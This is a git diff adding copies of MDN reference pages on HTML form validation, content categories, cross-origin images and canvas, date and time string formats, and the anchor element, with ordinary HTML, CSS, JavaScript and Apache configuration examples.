See :placeholder-shown.

:valid :invalid CSS pseudo-classes

The :valid and :invalid pseudo-classes are used to represent <input> elements whose content validates and fails to validate respectively according to the input's type setting. These classes allow the user to style valid or invalid form elements to make it easier to identify elements that are either formatted correctly or incorrectly.

+
+

Controlling the text of constraint violation

+
+

The following items can help with controlling the text of a constraint violation:

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Constraint_validation +

+
diff --git a/devdocs/html/content_categories.html b/devdocs/html/content_categories.html new file mode 100644 index 00000000..7a5418f8 --- /dev/null +++ b/devdocs/html/content_categories.html @@ -0,0 +1,85 @@ +

Content categories

+

Most HTML elements are a member of one or more content categories — these categories group elements that share common characteristics. This is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. It's also possible for elements to not be a member of any of these categories.

There are three types of content categories:

Note: A more detailed discussion of these content categories and their comparative functionalities is beyond the scope of this article; for that, you may wish to read the relevant portions of the HTML specification.

A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text.

+
+

Main content categories

+ +

Metadata content

+
+

Elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out-of-band information.

Elements belonging to this category are <base>, <link>, <meta>, <noscript>, <script>, <style> and <title>.

+
+

Flow content

+
+

Flow content is a broad category that encompasses most elements that can go inside the <body> element, including heading elements, sectioning elements, phrasing elements, embedding elements, interactive elements, and form-related elements. It also includes text nodes (but not those that only consist of white space characters).

The flow elements are:

A few other elements belong to this category, but only if a specific condition is fulfilled:

+
+

Sectioning content

+
+

Sectioning content is a subset of flow content, and can be used everywhere flow content is expected. Elements belonging to the sectioning content model create a section in the current outline that defines the scope of <header> elements, <footer> elements, and heading content.

Elements belonging to this category are <article>, <aside>, <nav>, and <section>.

+
+

Heading content

+
+

Heading content is a subset of flow content, which defines the title of a section, whether marked by an explicit sectioning content element, or implicitly defined by the heading content itself. Heading content can be used everywhere flow content is expected.

Elements belonging to this category are h1, h2, h3, h4, h5, h6 and <hgroup>.

Note: Though likely to contain heading content, the <header> is not heading content itself.

Note: The <hgroup> element is not recommended as it does not work properly with assistive technologies. It was removed from the W3C HTML specification prior to HTML 5 being finalized, but is still part of the WHATWG specification and is at least partially supported by most browsers.

+
+

Phrasing content

+
+

Phrasing content is a subset of flow content that defines the text and the markup it contains, and can be used everywhere flow content is expected. Runs of phrasing content make up paragraphs.

Elements belonging to this category are:

A few other elements belong to this category, but only if a specific condition is fulfilled:

+
+

Embedded content

+
+

Embedded content is a subset of flow content that imports another resource or inserts content from another markup language or namespace into the document, and can be used everywhere flow content is expected. Elements that belong to this category include:

+
+

Interactive content

+
+

Interactive content is a subset of flow content that includes elements that are specifically designed for user interaction, and can be used everywhere flow content is expected. Elements that belong to this category include:

Some elements belong to this category only under specific conditions:

+
+

Palpable content

+

Content is palpable when it's neither empty nor hidden; it is content that is rendered and is substantive. Elements whose model is flow content should have at least one node which is palpable.

+

Form-associated content

+
+

Form-associated content is a subset of flow content comprising elements that have a form owner, exposed by a form attribute, and can be used everywhere flow content is expected. A form owner is either the containing <form> element or the element whose id is specified in the form attribute.

This category contains several sub-categories:

listed

Elements that are listed in the form.elements and fieldset.elements collections. Contains <button>, <fieldset>, <input>, <object>, <output>, <select>, and <textarea>.

labelable

Elements that can be associated with <label> elements. Contains <button>, <input>, <meter>, <output>, <progress>, <select>, and <textarea>.

submittable

Elements that can be used for constructing the form data set when the form is submitted. Contains <button>, <input>, <object>, <select>, and <textarea>.

resettable

Elements that can be affected when a form is reset. Contains <input>, <output>, <select>, and <textarea>.

+
+

Secondary categories

+

There are some secondary classifications of elements that can be useful to be aware of as well.

+

Script-supporting elements

+
+

Script-supporting elements are elements which don't directly contribute to the rendered output of a document. Instead, they serve to support scripts, either by containing or specifying script code directly, or by specifying data that will be used by scripts.

The script-supporting elements are:

+
+

Transparent content model

+
+

If an element has a transparent content model, then its contents must be structured such that they would be valid HTML 5, even if the transparent element were removed and replaced by the child elements.

For example, the <del> and <ins> elements are transparent:

+

html

+
<p>
+  We hold these truths to be <del><em>sacred &amp; undeniable</em></del>
+  <ins>self-evident</ins>.
+</p>
+
+

If those elements were removed, this fragment would still be valid HTML (if not correct English).

+

html

+
<p>We hold these truths to be <em>sacred &amp; undeniable</em> self-evident.</p>
+
+
+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories +

+
diff --git a/devdocs/html/cors_enabled_image.html b/devdocs/html/cors_enabled_image.html new file mode 100644 index 00000000..da89c8b1 --- /dev/null +++ b/devdocs/html/cors_enabled_image.html @@ -0,0 +1,69 @@ +

Allowing cross-origin use of images and canvas

+

HTML provides a crossorigin attribute for images that, in combination with an appropriate CORS header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.

See CORS settings attributes for details on how the crossorigin attribute is used.

+
+

Security and tainted canvases

+
+

Because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevitable that security problems may arise.

As soon as you draw into a canvas any data that was loaded from another origin without CORS approval, the canvas becomes tainted. A tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown.

If the source of the foreign content is an HTML <img> or SVG <svg> element, attempting to retrieve the contents of the canvas isn't allowed.

If the foreign content comes from an image obtained from either as HTMLCanvasElement or ImageBitMap, and the image source doesn't meet the same origin rules, attempts to read the canvas's contents are blocked.

Calling any of the following on a tainted canvas will result in an error:

Attempting any of these when the canvas is tainted will cause a SecurityError to be thrown. This protects users from having private data exposed by using images to pull information from remote websites without permission.

+
+

Storing an image from a foreign origin

+

In this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage. Implementing this requires configuring the server as well as writing code for the website itself.

+

Web server configuration

+
+

The first thing we need is a server that's configured to host images with the Access-Control-Allow-Origin header configured to permit cross-origin access to image files.

Let's assume we're serving our site using Apache. Consider the HTML5 Boilerplate Apache server configuration file for CORS images, shown below:

+

xml

+
<IfModule mod_setenvif.c>
+  <IfModule mod_headers.c>
+    <FilesMatch "\.(avifs?|bmp|cur|gif|ico|jpe?g|jxl|a?png|svgz?|webp)$">
+      SetEnvIf Origin ":" IS_CORS
+      Header set Access-Control-Allow-Origin "*" env=IS_CORS
+    </FilesMatch>
+  </IfModule>
+</IfModule>
+
+

In short, this configures the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere on the internet.

+
+

Implementing the save feature

+
+

Now that the server has been configured to allow retrieval of the images cross-origin, we can write the code that allows the user to save them to local storage, just as if they were being served from the same domain the code is running on.

The key is to use the crossorigin attribute by setting crossOrigin on the HTMLImageElement into which the image will be loaded. This tells the browser to request cross-origin access when downloading the image data.

Starting the download

The code that starts the download (say, when the user clicks a "Download" button), looks like this:

+

js

+
function startDownload() {
+  let imageURL =
+    "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
+  let imageDescription = "The Mozilla logo";
+
+  downloadedImg = new Image();
+  downloadedImg.crossOrigin = "anonymous";
+  downloadedImg.addEventListener("load", imageReceived, false);
+  downloadedImg.alt = imageDescription;
+  downloadedImg.src = imageURL;
+}
+
+

We're using a hard-coded URL (imageURL) and associated descriptive text (imageDescription) here, but that could easily come from anywhere. To begin downloading the image, we create a new HTMLImageElement object by using the Image() constructor. The image is then configured to allow cross-origin downloading by setting its crossOrigin attribute to "Anonymous" (that is, allow non-authenticated downloading of the image cross-origin). An event listener is added for the load event being fired on the image element, which means the image data has been received. Alternative text is added to the image; while <canvas> does not support the alt attribute, the value can be used to set an aria-label or the canvas's inner content.

Finally, the image's src attribute is set to the URL of the image to download; this triggers the download to begin.

Receiving and saving the image

The code that handles the newly-downloaded image is found in the imageReceived() method:

+

js

+
function imageReceived() {
+  const canvas = document.createElement("canvas");
+  const context = canvas.getContext("2d");
+
+  canvas.width = downloadedImg.width;
+  canvas.height = downloadedImg.height;
+  canvas.innerText = downloadedImg.alt;
+
+  context.drawImage(downloadedImg, 0, 0);
+  imageBox.appendChild(canvas);
+
+  try {
+    localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
+  } catch (err) {
+    console.error(`Error: ${err}`);
+  }
+}
+
+

imageReceived() is called to handle the "load" event on the HTMLImageElement that receives the downloaded image. This event is triggered once the downloaded data is all available. It begins by creating a new <canvas> element that we'll use to convert the image into a data URL, and by getting access to the canvas's 2D drawing context (CanvasRenderingContext2D) in the variable context.

The canvas's size is adjusted to match the received image, the inner text is set to the image description, then the image is drawn into the canvas using drawImage(). The canvas is then inserted into the document so the image is visible.

Now it's time to actually save the image locally. To do this, we use the Web Storage API's local storage mechanism, which is accessed through the localStorage global. The canvas method toDataURL() is used to convert the image into a data:// URL representing a PNG image, which is then saved into local storage using setItem().

+
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image +

+
diff --git a/devdocs/html/date_and_time_formats.html b/devdocs/html/date_and_time_formats.html new file mode 100644 index 00000000..bd41b035 --- /dev/null +++ b/devdocs/html/date_and_time_formats.html @@ -0,0 +1,81 @@ +

Date and time formats used in HTML

+

Certain HTML elements use date and/or time values. The formats of the strings that specify these values are described in this article.

Elements that use such formats include certain forms of the <input> element that let the user choose or specify a date, time, or both, as well as the <ins> and <del> elements, whose datetime attribute specifies the date or date and time at which the insertion or deletion of content occurred.

For <input>, the values of type that return a value which contains a string representing a date and/or time are:

+
+

Examples

+
+

Before getting into the intricacies of how date and time strings are written and parsed in HTML, here are some examples that should give you a good idea what the more commonly-used date and time string formats look like.

Example HTML date and time strings
String Date and/or time
2005-06-07 June 7, 2005 [details]
08:45 8:45 AM [details]
08:45:25 8:45 AM and 25 seconds [details]
0033-08-04T03:40 3:40 AM on August 4, 33 [details]
1977-04-01T14:00:30 30 seconds after 2:00 PM on April 1, 1977 [details]
1901-01-01T00:00Z Midnight UTC on January 1, 1901 [details]
1901-01-01T00:00:01-04:00 1 second past midnight Eastern Standard Time (EST) on January 1, 1901 [details]
+
+

Basics

+

Before looking at the various formats of date and time related strings used by HTML elements, it is helpful to understand a few fundamental facts about the way they're defined. HTML uses a variation of the ISO 8601 standard for its date and time strings. It's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with HTML, as the HTML specification includes algorithms for parsing these strings that is actually more precise than ISO 8601, so there can be subtle differences in how date and time strings are expected to look.

+

Character set

+

Dates and times in HTML are always strings which use the ASCII character set.

+

Year numbers

+
+

In order to simplify the basic format used for date strings in HTML, the specification requires that all years be given using the modern (or proleptic) Gregorian calendar. While user interfaces may allow entry of dates using other calendars, the underlying value always uses the Gregorian calendar.

While the Gregorian calendar wasn't created until the year 1582 (replacing the similar Julian calendar), for HTML's purposes, the Gregorian calendar is extended back to the year 1 C.E. Make sure any older dates account for this.

For the purposes of HTML dates, years are always at least four digits long; years prior to the year 1000 are padded with leading zeroes ("0"), so the year 72 is written as 0072. Years prior to the year 1 C.E. are not supported, so HTML doesn't support years 1 B.C.E. (1 B.C.) or earlier.

A year is normally 365 days long, except during leap years.

Leap years

A leap year is any year which is divisible by 400 or the year is divisible by 4 but not by 100. Although the calendar year is normally 365 days long, it actually takes the planet Earth approximately 365.2422 days to complete a single orbit around the sun. Leap years help to adjust the calendar to keep it synchronized with the actual position of the planet in its orbit. Adding a day to the year every four years essentially makes the average year 365.25 days long, which is close to correct.

The adjustments to the algorithm (taking a leap year when the year can be divided by 400, and skipping leap years when the year is divisible by 100) help to bring the average even closer to the correct number of days (365.2425 days). Scientists occasionally add leap seconds to the calendar (seriously) to handle the remaining three ten-thousandths of a day and to compensate for the gradual, naturally occurring slowing of Earth's rotation.

While month 02, February, normally has 28 days, it has 29 days in leap years.

+
+

Months of the year

+

There are 12 months in the year, numbered 1 through 12. They are always represented by a two-digit ASCII string whose value ranges from 01 through 12. See the table in the section Days of the month for the month numbers and their corresponding names (and lengths in days).

+

Days of the month

+
+

Month numbers 1, 3, 5, 7, 8, 10, and 12 are 31 days long. Months 4, 6, 9, and 11 are 30 days long. Month 2, February, is 28 days long most years, but is 29 days long in leap years. This is detailed in the following table.

The months of the year and their lengths in days
Month number Name (English) Length in days
01 January 31
02 February 28 (29 in leap years)
03 March 31
04 April 30
05 May 31
06 June 30
07 July 31
08 August 31
09 September 30
10 October 31
11 November 30
12 December 31
+
+

Week strings

+
+

A week string specifies a week within a particular year. A valid week string consists of a valid year number, followed by a hyphen character ("-", or U+002D), then the capital letter "W" (U+0057), followed by a two-digit week of the year value.

The week of the year is a two-digit string between 01 and 53. Each week begins on Monday and ends on Sunday. That means it's possible for the first few days of January to be considered part of the previous week-year, and for the last few days of December to be considered part of the following week-year. The first week of the year is the week that contains the first Thursday of the year. For example, the first Thursday of 1953 was on January 1, so that week—beginning on Monday, December 29—is considered the first week of the year. Therefore, December 30, 1952 occurs during the week 1953-W01.

A year has 53 weeks if:

All other years have 52 weeks.

Week string Week and year (Date range)
2001-W37 Week 37, 2001 (September 10-16, 2001)
1953-W01 Week 1, 1953 (December 29, 1952-January 4, 1953)
1948-W53 Week 53, 1948 (December 27, 1948-January 2, 1949)
1949-W01 Week 1, 1949 (January 3-9, 1949)
0531-W16 Week 16, 531 (April 13-19, 531)
0042-W04 Week 4, 42 (January 21-27, 42)

Note that both the year and week numbers are padded with leading zeroes, with the year padded to four digits and the week to two.

+
+

Month strings

+
+

A month string represents a specific month in time, rather than a generic month of the year. That is, rather than representing "January," an HTML month string represents a month and year paired, like "January 1972."

A valid month string consists of a valid year number (a string of at least four digits), followed by a hyphen character ("-", or U+002D), followed by a two-digit numeric month number, where 01 represents January and 12 represents December.

Month string Month and year
17310-09 September, 17310
2019-01 January, 2019
1993-11 November, 1993
0571-04 April, 571
0001-07 July, 1 C.E.

Notice that all years are at least four characters long; years that are fewer than four digits long are padded with leading zeroes.

+
+

Date strings

+
+

A valid date string consists of a month string, followed by a hyphen character ("-", or U+002D), followed by a two-digit day of the month.

Date string Full date
1993-11-01 November 1, 1993
1066-10-14 October 14, 1066
0571-04-22 April 22, 571
0062-02-05 February 5, 62
+
+

Time strings

+
+

A time string can specify a time with precision to the minute, second, or to the millisecond. Specifying only the hour or minute isn't permitted. A valid time string minimally consists of a two-digit hour followed by a colon (":", U+003A), then a two-digit minute. The minute may optionally be followed by another colon and a two-digit number of seconds. Milliseconds may be specified, optionally, by adding a decimal point character (".", U+002E) followed by one, two, or three digits.

There are some additional basic rules:

Time string Time
00:00:30.75 12:00:30.75 AM (30.75 seconds after midnight)
12:15 12:15 PM
13:44:25 1:44:25 PM (25 seconds after 1:44 PM)
+
+

Local date and time strings

+
+

A valid datetime-local string consists of a date string and a time string concatenated together with either the letter "T" or a space character separating them. No information about the time zone is included in the string; the date and time is presumed to be in the user's local time zone.

When you set the value of a datetime-local input, the string is normalized into a standard form. Normalized datetime strings always use the letter "T" to separate the date and the time, and the time portion of the string is as short as possible. This is done by leaving out the seconds component if its value is :00.

Examples of valid datetime-local strings
Date/time string Normalized date/time string Actual date and time
1986-01-28T11:38:00.01 1986-01-28T11:38:00.01 January 28, 1986 at 11:38:00.01 AM
1986-01-28 11:38:00.010

1986-01-28T11:38:00.01

Note that after normalization, this is the same string as the previous datetime-local string. The space has been replaced with the "T" character and the trailing zero in the fraction of a second has been removed to make the string as short as possible.

January 28, 1986 at 11:38:00.01 AM
0170-07-31T22:00:00

0170-07-31T22:00

Note that the normalized form of this date drops the ":00" indicating the number of seconds to be zero, because the seconds are optional when zero, and the normalized string minimizes the length of the string.

July 31, 170 at 10:00 PM
+
+

Global date and time strings

+

A global date and time string specifies a date and time as well as the time zone in which it occurs. A valid global date and time string is the same format as a local date and time string, except it has a time zone string appended to the end, following the time.

+

Time zone offset string

+
+

A time zone offset string specifies the offset in either a positive or a negative number of hours and minutes from the standard time base. There are two standard time bases, which are very close to the same, but not exactly the same:

The time zone string is appended immediately following the time in the date and time string. You can specify "Z" as the time zone offset string to indicate that the time is specified in UTC. Otherwise, the time zone string is constructed as follows:

  1. A character indicating the sign of the offset: the plus character ("+", or U+002B) for time zones to the east of the prime meridian or the minus character ("-", or U+002D) for time zones to the west of the prime meridian.
  2. A two-digit number of hours that the time zone is offset from the prime meridian. This value must be between 00 and 23.
  3. An optional colon (":") character.
  4. A two-digit number of minutes past the hour; this value must be between 00 and 59.

While this format allows for time zones between -23:59 and +23:59, the current range of time zone offsets is -12:00 to +14:00, and no time zones are currently offset from the hour by anything other than 00, 30, or 45 minutes. This may change at more or less anytime, since countries are free to tamper with their time zones at any time and in any way they wish to do so.

Examples of valid global date and time strings
Global date and time string Actual global date and time Date and time at prime meridian
2005-06-07T00:00Z June 7, 2005 at midnight UTC June 7, 2005 at midnight
1789-08-22T12:30:00.1-04:00 August 22, 1789 at a tenth of a second past 12:30 PM Eastern Daylight Time (EDT) August 22, 1789 at a tenth of a second past 4:30 PM
3755-01-01 00:00+10:00 January 1, 3755 at midnight Australian Eastern Standard Time (AEST) December 31, 3754 at 2:00 PM
+
+

Date issues

+

Because of data storage and precision issues, you may want to be aware of a few client-side and server-side issues.

+

The Y2K38 Problem (often server-side)

+
+

JavaScript uses double precision floating points to store dates, as with all numbers, meaning that JavaScript code will not suffer from the Y2K38 problem unless integer coercion/bit-hacks are used because all JavaScript bit operators use 32-bit signed 2s-complement integers.

The problem is with the server side of things: storage of dates greater than 2^31 - 1. To fix this problem, you must store all dates using either unsigned 32-bit integers, signed 64-bit integers, or double-precision floating points on the server. If your server is written in PHP, the fix may be as simple as upgrading to PHP 8 or 7, and upgrading your hardware to x86_64 or IA64. If you are stuck with other hardware, you can try to emulate 64-bit hardware inside a 32-bit virtual machine, but most VMs don't support this kind of virtualization, since stability may suffer, and performance will definitely suffer greatly.

+
+

The Y10k Problem (often client-side)

+
+

In many servers, dates are stored as numbers instead of as strings--numbers of a fixed size and agnostic of format (aside from endianness). After the year 10,000, those numbers will just be a bit bigger than before, so many servers will not see issues with forms submitted after the year 10,000.

The problem is with the client side of things: parsing of dates with more than 4 digits in the year.

+

html

+
<!--midnight of January 1st, 10000: the exact time of Y10K-->
+<input type="datetime-local" value="+010000-01-01T05:00" />
+
+

It's that simple. Just prepare your code for any number of digits. Do not only prepare for 5 digits. Here is JavaScript code for programmatically setting the value:

+

js

+
function setValue(element, date) {
+  const isoString = date.toISOString();
+  element.value = isoString.substring(0, isoString.indexOf("T") + 6);
+}
+
+

Why worry about the Y10K problem if it is going to happen many centuries after your death? Exactly because you will already be dead, so the companies using your software will be stuck using your software without any other coder who knows the system well enough to come in and fix it.

+
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Date_and_time_formats +

+
diff --git a/devdocs/html/element%2Fa.html b/devdocs/html/element%2Fa.html new file mode 100644 index 00000000..73eff03d --- /dev/null +++ b/devdocs/html/element%2Fa.html @@ -0,0 +1,585 @@ +

<a>: The Anchor element

+

The <a> HTML element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a URL can address.

Content within each <a> should indicate the link's destination. If the href attribute is present, pressing the enter key while focused on the <a> element will activate it.

+
+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

download

Causes the browser to treat the linked URL as a download. Can be used with or without a filename value:

  • Without a value, the browser will suggest a filename/extension, generated from various sources:
  • +filename: defining a value suggests it as the filename. / and \ characters are converted to underscores (_). Filesystems may forbid other characters in filenames, so browsers will adjust the suggested name if necessary.

Note:

  • +download only works for same-origin URLs, or the blob: and data: schemes.
  • How browsers treat downloads varies by browser, user settings, and other factors. The user may be prompted before a download starts, or the file may be saved automatically, or it may open automatically, either in an external application or in the browser itself.
  • If the Content-Disposition header has different information from the download attribute, resulting behavior may differ:
    • If the header specifies a filename, it takes priority over a filename specified in the download attribute.
    • If the header specifies a disposition of inline, Chrome and Firefox prioritize the attribute and treat it as a download. Old Firefox versions (before 82) prioritize the header and will display the content inline.
href

The URL that the hyperlink points to. Links are not restricted to HTTP-based URLs — they can use any URL scheme supported by browsers:

  • Sections of a page with document fragments
  • Specific text portions with text fragments +
  • Pieces of media files with media fragments
  • Telephone numbers with tel: URLs
  • Email addresses with mailto: URLs
  • SMS text messages with sms: URLs
  • While web browsers may not support other URL schemes, websites can with registerProtocolHandler() +
hreflang

Hints at the human language of the linked URL. No built-in functionality. Allowed values are the same as the global lang attribute.

ping

A space-separated list of URLs. When the link is followed, the browser will send POST requests with the body PING to the URLs. Typically for tracking.

referrerpolicy

How much of the referrer to send when following the link.

  • +no-referrer: The Referer header will not be sent.
  • +no-referrer-when-downgrade: The Referer header will not be sent to origins without TLS (HTTPS).
  • +origin: The sent referrer will be limited to the origin of the referring page: its scheme, host, and port.
  • +origin-when-cross-origin: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.
  • +same-origin: A referrer will be sent for same origin, but cross-origin requests will contain no referrer information.
  • +strict-origin: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).
  • +strict-origin-when-cross-origin (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).
  • +unsafe-url: The referrer will include the origin and the path (but not the fragment, password, or username). This value is unsafe, because it leaks origins and paths from TLS-protected resources to insecure origins.
rel

The relationship of the linked URL as space-separated link types.

target

Where to display the linked URL, as the name for a browsing context (a tab, window, or <iframe>). The following keywords have special meanings for where to load the URL:

  • +_self: the current browsing context. (Default)
  • +_blank: usually a new tab, but users can configure browsers to open a new window instead.
  • +_parent: the parent browsing context of the current one. If no parent, behaves as _self.
  • +_top: the topmost browsing context (the "highest" context that's an ancestor of the current one). If no ancestors, behaves as _self.

Note: Setting target="_blank" on <a> elements implicitly provides the same rel behavior as setting rel="noopener" which does not set window.opener.

type

Hints at the linked URL's format with a MIME type. No built-in functionality.

+
+

Deprecated attributes

+
+charset +

Hinted at the character encoding of the linked URL.

Note: This attribute is deprecated and should not be used by authors. Use the HTTP Content-Type header on the linked URL.

+coords +

Used with the shape attribute. A comma-separated list of coordinates.

+name +

Was required to define a possible target location in a page. In HTML 4.01, id and name could both be used on <a>, as long as they had identical values.

Note: Use the global attribute id instead.

+rev +

Specified a reverse link; the opposite of the rel attribute. Deprecated for being very confusing.

+shape +

The shape of the hyperlink's region in an image map.

Note: Use the <area> element for image maps instead.

+

Examples

+ +

Linking to an absolute URL

+
+

HTML

+

html

+
<a href="https://www.mozilla.com">Mozilla</a>
+
+

Result

+
+ + +
+
+

Linking to relative URLs

+
+

HTML

+

html

+
<a href="//example.com">Scheme-relative URL</a>
+<a href="/en-US/docs/Web/HTML">Origin-relative URL</a>
+<a href="./p">Directory-relative URL</a>
+
+

Result

+
+ + +
+
+

Linking to an element on the same page

+
+
+

html

+
<!-- <a> element links to the section below -->
+<p><a href="#Section_further_down">Jump to the heading below</a></p>
+
+<!-- Heading to link to -->
+<h2 id="Section_further_down">Section further down</h2>
+
+

Result

+
+ + +

Note: You can use href="#top" or the empty fragment (href="#") to link to the top of the current page, as defined in the HTML specification.

+
+

Linking to an email address

+
+

To create links that open in the user's email program to let them send a new message, use the mailto: scheme:

+

html

+
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
+
+

Result

+
+ + +

For details about mailto: URLs, such as including a subject or body, see Email links or RFC 6068.

+
+

Linking to telephone numbers

+
+
+

html

+
<a href="tel:+49.157.0156">+49 157 0156</a>
+<a href="tel:+1(800)555-0123">(800) 555-0123</a>
+
+

Result

+
+ + +

tel: link behavior varies with device capabilities:

See RFC 3966 for syntax, additional features, and other details about the tel: URL scheme.

+
+

Using the download attribute to save a <canvas> as a PNG

+
+

To save a <canvas> element's contents as an image, you can create a link where the href is the canvas data as a data: URL created with JavaScript and the download attribute provides the file name for the downloaded PNG file:

HTML
+

html

+
<p>
+  Paint by holding down the mouse button and moving it.
+  <a href="" download="my_painting.png">Download my painting</a>
+</p>
+
+<canvas width="300" height="300"></canvas>
+
+
CSS
+

css

+
html {
+  font-family: sans-serif;
+}
+canvas {
+  background: #fff;
+  border: 1px dashed;
+}
+a {
+  display: inline-block;
+  background: #69c;
+  color: #fff;
+  padding: 5px 10px;
+}
+
+
JavaScript
+

js

+
const canvas = document.querySelector("canvas");
+const c = canvas.getContext("2d");
+c.fillStyle = "hotpink";
+let isDrawing;
+
+function draw(x, y) {
+  if (isDrawing) {
+    c.beginPath();
+    c.arc(x, y, 10, 0, Math.PI * 2);
+    c.closePath();
+    c.fill();
+  }
+}
+
+canvas.addEventListener("mousemove", (event) =>
+  draw(event.offsetX, event.offsetY),
+);
+canvas.addEventListener("mousedown", () => (isDrawing = true));
+canvas.addEventListener("mouseup", () => (isDrawing = false));
+
+document
+  .querySelector("a")
+  .addEventListener(
+    "click",
+    (event) => (event.target.href = canvas.toDataURL()),
+  );
+
+
Result
+
+ + +
+
+

Security and privacy

+
+

<a> elements can have consequences for users' security and privacy. See Referer header: privacy and security concerns for information.

Using target="_blank" without rel="noreferrer" and rel="noopener" makes the website vulnerable to window.opener API exploitation attacks, although note that, in newer browser versions setting target="_blank" implicitly provides the same protection as setting rel="noopener". See browser compatibility for details.

+
+

Accessibility

+ +

Strong link text

+
+

The content inside a link should indicate where the link goes, even out of context.

Inaccessible, weak link text

A sadly common mistake is to only link the words "click here" or "here":

+

html

+
<p>Learn more about our products <a href="/products">here</a>.</p>
+
+
Result
+
+ + +

Strong link text

Luckily, this is an easy fix, and it's actually shorter than the inaccessible version!

+

html

+
<p>Learn more <a href="/products">about our products</a>.</p>
+
+
Result
+
+ + +

Assistive software has shortcuts to list all links on a page. However, strong link text benefits all users — the "list all links" shortcut emulates how sighted users quickly scan pages.

+
+

onclick events

+
+

Anchor elements are often abused as fake buttons by setting their href to # or javascript:void(0) to prevent the page from refreshing, then listening for their click events .

These bogus href values cause unexpected behavior when copying/dragging links, opening links in a new tab/window, bookmarking, or when JavaScript is loading, errors, or is disabled. They also convey incorrect semantics to assistive technologies, like screen readers.

Use a <button> instead. In general, you should only use a hyperlink for navigation to a real URL.

+
+ +
+

Links that open in a new tab/window via target="_blank", or links that point to a download file should indicate what will happen when the link is followed.

People experiencing low vision conditions, navigating with the aid of screen reading technology, or with cognitive concerns may be confused when a new tab, window, or application opens unexpectedly. Older screen-reading software may not even announce the behavior.

+

html

+
<a target="_blank" href="https://www.wikipedia.org">
+  Wikipedia (opens in new tab)
+</a>
+
+
Result
+
+ + +
+

html

+
<a href="2017-annual-report.ppt">2017 Annual Report (PowerPoint)</a>
+
+

If an icon is used to signify link behavior, make sure it has an alt text:

+

html

+
<a target="_blank" href="https://www.wikipedia.org">
+  Wikipedia
+  <img alt="(opens in new tab)" src="newtab.svg" />
+</a>
+
+<a href="2017-annual-report.ppt">
+  2017 Annual Report
+  <img alt="(PowerPoint file)" src="ppt-icon.svg" />
+</a>
+
+
Result
+
+ + +
+
+ +
+

A skip link is a link placed as early as possible in <body> content that points to the beginning of the page's main content. Usually, CSS hides a skip link offscreen until focused.

+

html

+
<body>
+  <a href="#content" class="skip-link">Skip to main content</a>
+
+  <header>…</header>
+
+  <!-- The skip link jumps to here -->
+  <main id="content"></main>
+</body>
+
+
+

css

+
.skip-link {
+  position: absolute;
+  top: -3em;
+  background: #fff;
+}
+.skip-link:focus {
+  top: 0;
+}
+
+

Result

+
+ + +

Skip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation.

Skip links are especially useful for people who navigate with the aid of assistive technology such as switch control, voice command, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious.

+
+

Size and proximity

+
+

Size

Interactive elements, like links, should provide an area large enough that it is easy to activate them. This helps a variety of people, including those with motor control issues and those using imprecise inputs such as a touchscreen. A minimum size of 44×44 CSS pixels is recommended.

Text-only links in prose content are exempt from this requirement, but it's still a good idea to make sure enough text is hyperlinked to be easily activated.

Proximity

Interactive elements, like links, placed in close visual proximity should have space separating them. Spacing helps people with motor control issues, who may otherwise accidentally activate the wrong interactive content.

Spacing may be created using CSS properties like margin.

+
+

Technical summary

+
Content categories Flow content, phrasing content, interactive content, palpable content.
Permitted content Transparent, except that no descendant may be interactive content or an a element, and no descendant may have a specified tabindex attribute.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content, or any element that accepts flow content, but not other <a> elements.
Implicit ARIA role link when href attribute is present, otherwise generic
Permitted ARIA roles

When href attribute is present:

When href attribute is not present:

  • any
DOM interface HTMLAnchorElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-a-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
